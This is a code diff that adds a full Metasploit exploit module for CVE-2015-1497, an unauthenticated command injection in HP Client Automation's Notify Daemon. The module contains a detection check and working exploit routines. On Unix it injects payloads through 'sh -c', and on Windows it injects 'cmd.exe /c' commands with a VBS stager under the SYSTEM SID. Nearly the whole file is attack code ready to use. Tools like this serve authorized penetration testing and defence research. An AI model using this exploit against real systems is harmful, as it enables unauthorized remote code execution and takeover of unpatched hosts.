|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = GreatRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + include Msf::Exploit::CmdStager |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'HP Client Automation Command Injection', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits a command injection vulnerability on HP Client Automation, distributed |
| 19 | + actually as Persistent Systems Client Automation. The vulnerability exists in the Notify |
| 20 | + Daemon (radexecd.exe), which doesn't authenticate execution requests by default neither. |
| 21 | + This module has been tested successfully on HP Client Automation 9.00 over Windows 2003 SP2 |
| 22 | + and CentOS 5. |
| 23 | + }, |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'Ben Turner', # Vulnerability discovery |
| 27 | + 'juan vazquez' # Metasploit module |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2015-1497'], |
| 32 | + ['ZDI', '15-038'], |
| 33 | + ['URL', 'https://radiasupport.accelerite.com/hc/en-us/articles/203659814-Accelerite-releases-solutions-and-best-practices-to-enhance-the-security-for-RBAC-and-Remote-Notify-features'] |
| 34 | + ], |
| 35 | + 'Privileged' => true, |
| 36 | + 'Platform' => %w{ unix win }, |
| 37 | + 'DefaultOptions' => |
| 38 | + { |
| 39 | + 'WfsDelay' => 10 |
| 40 | + }, |
| 41 | + 'Payload' => {'DisableNops' => true}, |
| 42 | + 'Targets' => |
| 43 | + [ |
| 44 | + [ 'HP Client Automation 9.0.0 / Linux', |
| 45 | + { |
| 46 | + 'Platform' => 'unix', |
| 47 | + 'Arch' => ARCH_CMD, |
| 48 | + 'Payload' => |
| 49 | + { |
| 50 | + 'Space' => 466, |
| 51 | + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl, |
| 52 | + 'Compat' => |
| 53 | + { |
| 54 | + 'PayloadType' => 'cmd', |
| 55 | + 'RequiredCmd' => 'openssl telnet generic gawk' |
| 56 | + }, |
| 57 | + 'BadChars' => "\x27" |
| 58 | + } |
| 59 | + } |
| 60 | + ], |
| 61 | + [ 'HP Client Automation 9.0.0 / Windows', |
| 62 | + { |
| 63 | + 'Platform' => 'win', |
| 64 | + 'Arch' => ARCH_X86 |
| 65 | + } |
| 66 | + ] |
| 67 | + ], |
| 68 | + 'DefaultTarget' => 0, |
| 69 | + 'DisclosureDate' => 'Jan 02 2014')) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + Opt::RPORT(3465) |
| 74 | + ], self.class) |
| 75 | + |
| 76 | + deregister_options('CMDSTAGER::FLAVOR') |
| 77 | + deregister_options('CMDSTAGER::DECODER') |
| 78 | + end |
| 79 | + |
| 80 | + def check |
| 81 | + connect |
| 82 | + sock.put("\x00") # port |
| 83 | + sock.put("#{rand_text_alphanumeric(4 + rand(3))}\x00") # user ID |
| 84 | + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password |
| 85 | + sock.put("hide\x00") # command |
| 86 | + res = sock.get_once |
| 87 | + disconnect |
| 88 | + |
| 89 | + if res && res.unpack('C')[0] == 0 |
| 90 | + return Exploit::CheckCode::Detected |
| 91 | + end |
| 92 | + |
| 93 | + Exploit::CheckCode::Safe |
| 94 | + end |
| 95 | + |
| 96 | + def exploit |
| 97 | + case target['Platform'] |
| 98 | + when 'win' |
| 99 | + print_status('Exploiting Windows target...') |
| 100 | + execute_cmdstager({:flavor => :vbs, :linemax => 290}) |
| 101 | + when 'unix' |
| 102 | + print_status('Exploiting Linux target...') |
| 103 | + exploit_unix |
| 104 | + else |
| 105 | + fail_with(Failure::NoTarget, 'Invalid target') |
| 106 | + end |
| 107 | + end |
| 108 | + |
| 109 | + def exploit_unix |
| 110 | + connect |
| 111 | + sock.put("\x00") # port |
| 112 | + sock.put("0\x00") # user ID |
| 113 | + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password |
| 114 | + sock.put("hide hide\x09sh -c '#{payload.encoded.gsub(/\\/, "\\\\\\\\")}'\x00") # command, here commands can be injected |
| 115 | + disconnect |
| 116 | + end |
| 117 | + |
| 118 | + def execute_command(cmd, opts = {}) |
| 119 | + connect |
| 120 | + sock.put("\x00") # port |
| 121 | + sock.put("S-1-5-18\x00") # user ID |
| 122 | + sock.put("#{rand_text_alpha(4 + rand(3))}\x00") # password |
| 123 | + sock.put("hide hide\"\x09\"cmd.exe /c #{cmd}&\"\x00") # command, here commands can be injected |
| 124 | + res = sock.get_once |
| 125 | + disconnect |
| 126 | + unless res && res.unpack('C')[0] == 0 |
| 127 | + fail_with(Failure::Unknown, "Something failed executing the stager...") |
| 128 | + end |
| 129 | + end |
| 130 | +end |
0 commit comments